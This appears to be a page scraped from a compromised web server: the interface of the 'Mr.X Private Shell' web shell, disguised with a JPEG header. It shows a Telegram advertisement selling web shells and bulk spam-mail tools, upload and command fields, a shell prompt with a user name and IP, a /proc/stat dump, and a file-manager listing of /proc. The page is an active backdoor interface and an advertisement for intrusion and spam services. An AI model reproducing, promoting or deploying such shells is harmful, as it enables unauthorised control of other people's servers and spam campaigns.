����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.216.240: ~ $
cpu  36090120596 436522338 9758590280 61627887780 840474478 679790706 860829310 9133061 0 0
cpu0 809178490 9853522 221267095 1403433358 18939137 15012826 29072650 207821 0 0
cpu1 798478789 10008220 225104189 1410159382 19685453 15102027 26475484 213201 0 0
cpu2 821607977 9926967 222554475 1394864989 19143388 14796055 23779631 206492 0 0
cpu3 821406324 9951511 222609266 1395855745 19235985 14787561 22804088 206269 0 0
cpu4 824620189 9906444 221693349 1398443728 19318661 14744692 17913920 206782 0 0
cpu5 824146219 10002218 221814054 1399022983 19356888 14750799 17549645 207049 0 0
cpu6 826407557 9999362 221699193 1397187734 19339770 14734051 17285927 207094 0 0
cpu7 826091336 9947695 221750540 1397738041 19280280 14735784 17111609 207290 0 0
cpu8 821202979 9933630 222842021 1397108189 19196818 14767482 21576090 205705 0 0
cpu9 821435457 10090149 222612740 1397324831 19192925 14752350 21230377 206689 0 0
cpu10 820926309 9917498 222503099 1397813259 19186325 14751909 21515580 207635 0 0
cpu11 819579543 9896862 222662169 1399384879 19165798 14739510 21188884 206838 0 0
cpu12 820354157 10033494 222399654 1398923229 19160226 14729035 21033183 207880 0 0
cpu13 793397939 9759741 233676000 1385787108 18252635 24893419 41285282 200212 0 0
cpu14 800242487 9747152 231253290 1386889081 18413386 20015205 40135043 196361 0 0
cpu15 820040169 9828375 222141482 1399856345 19118719 14737052 20943188 206927 0 0
cpu16 818409511 9904023 222864684 1399530416 18995637 15140167 21792508 206677 0 0
cpu17 820070288 9879431 222404737 1399047245 19037414 14924883 21293817 206509 0 0
cpu18 821091105 9973806 221978397 1398713367 19108269 14929301 20905396 208732 0 0
cpu19 820984706 9927097 221838904 1399257844 19076638 14722959 20876478 206913 0 0
cpu20 823623278 9959706 220932264 1401668242 19198704 14692957 16621106 207787 0 0
cpu21 822565271 10000685 220204379 1396235668 18828927 22943020 15980600 215958 0 0
cpu22 824210643 9872682 220934983 1401230248 19191622 14674104 16615011 207884 0 0
cpu23 823501195 9934699 220852426 1402034944 19133628 14673907 16587240 206564 0 0
cpu24 823562168 9882236 220672993 1402193560 19176674 14675977 16555628 208249 0 0
cpu25 823023029 9959830 220670088 1402690954 19154008 14666264 16563121 208211 0 0
cpu26 823251127 10004270 220632705 1402510255 19139224 14665407 16537835 206838 0 0
cpu27 822915050 9901321 220541637 1403028874 19181480 14663237 16530769 208321 0 0
cpu28 821967038 9927517 220597058 1403971181 19073031 14665349 16543272 207122 0 0
cpu29 823457126 9875564 220559177 1402566664 19125791 14656843 16509521 207556 0 0
cpu30 822850495 9873173 220431856 1403372729 19092875 14645737 16492761 208416 0 0
cpu31 822268522 9867783 220561081 1403804154 19113667 14637985 16508757 207343 0 0
cpu32 822437224 9851351 220456174 1403811971 19069662 14644435 16487027 207660 0 0
cpu33 822908739 9978890 220343310 1403286515 19122331 14636269 16491005 208051 0 0
cpu34 821372858 9917390 220534326 1404730376 19075230 14649554 16489864 208311 0 0
cpu35 821498420 9840152 220349826 1404806549 19152246 14632659 16488064 207146 0 0
cpu36 823000389 9841116 220295965 1403428888 19108052 14645976 16453462 207181 0 0
cpu37 821509485 9919854 220095098 1405100971 19104612 14618346 16465898 207626 0 0
cpu38 822892632 9984034 220277908 1403510512 19068468 14619929 16444849 208621 0 0
cpu39 823559145 9928447 220301154 1402837876 19081316 14633992 16455576 207520 0 0
cpu40 821428798 9929370 220602207 1404400463 19169411 14631498 16548047 207620 0 0
cpu41 821504459 9999429 220267523 1404894607 19087014 14616331 16434531 208626 0 0
cpu42 819732972 10014211 220416495 1406480461 19134082 14586689 16446784 208686 0 0
cpu43 821408983 9771411 219390288 1398949341 18688053 22847150 15809782 216666 0 0
intr 159118050725 196 9 0 0 476 0 0 0 71 0 0 0 15 0 24796346 0 0 0 0 0 0 0 0 0 0 0 0 1054126516 1028389847 0 79 15 1678394846 1285420488 15 1440483558 1449910966 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 1596234837549
btime 1753600127
processes 4845280144
procs_running 15
procs_blocked 0
softirq 217961679847 1 816096805 91461 2956027221 2733830187 0 1842935518 4080375251 14633608 3654226883

Filemanager

Name Type Size Permission Actions
4148550 Folder 0555
4151301 Folder 0555
4151318 Folder 0555
4158747 Folder 0555
4158898 Folder 0555
4164374 Folder 0555
4167229 Folder 0555
4176823 Folder 0555
4177267 Folder 0555
acpi Folder 0555
bus Folder 0555
driver Folder 0555
fs Folder 0555
irq Folder 0555
kcare Folder 0555
lve Folder 0555
net Folder 0555
scsi Folder 0555
self Folder 0555
sys Folder 0555
sysvipc Folder 0555
thread-self Folder 0555
tty Folder 0555
buddyinfo File 0 B 0444
cgroups File 0 B 0444
cmdline File 0 B 0444
consoles File 0 B 0444
cpuinfo File 0 B 0444
crypto File 0 B 0444
devices File 0 B 0444
diskstats File 0 B 0444
dma File 0 B 0444
execdomains File 0 B 0444
fb File 0 B 0444
filesystems File 0 B 0444
interrupts File 0 B 0444
iomem File 0 B 0444
ioports File 0 B 0444
kallsyms File 0 B 0444
kcore File 128 TB 0400
key-users File 0 B 0444
keys File 0 B 0444
kmsg File 0 B 0400
kpagecgroup File 0 B 0400
kpagecount File 0 B 0400
kpageflags File 0 B 0400
loadavg File 0 B 0444
locks File 0 B 0444
mdstat File 0 B 0444
meminfo File 0 B 0444
misc File 0 B 0444
modules File 0 B 0444
mounts File 0 B 0444
mtrr File 0 B 0644
pagetypeinfo File 0 B 0400
partitions File 0 B 0444
sched_debug File 0 B 0444
schedstat File 0 B 0444
slabinfo File 0 B 0400
softirqs File 0 B 0444
stat File 0 B 0444
swaps File 0 B 0444
sysrq-trigger File 0 B 0200
timer_list File 0 B 0400
uptime File 0 B 0444
version File 0 B 0444
vmallocinfo File 0 B 0400
vmstat File 0 B 0444
zoneinfo File 0 B 0444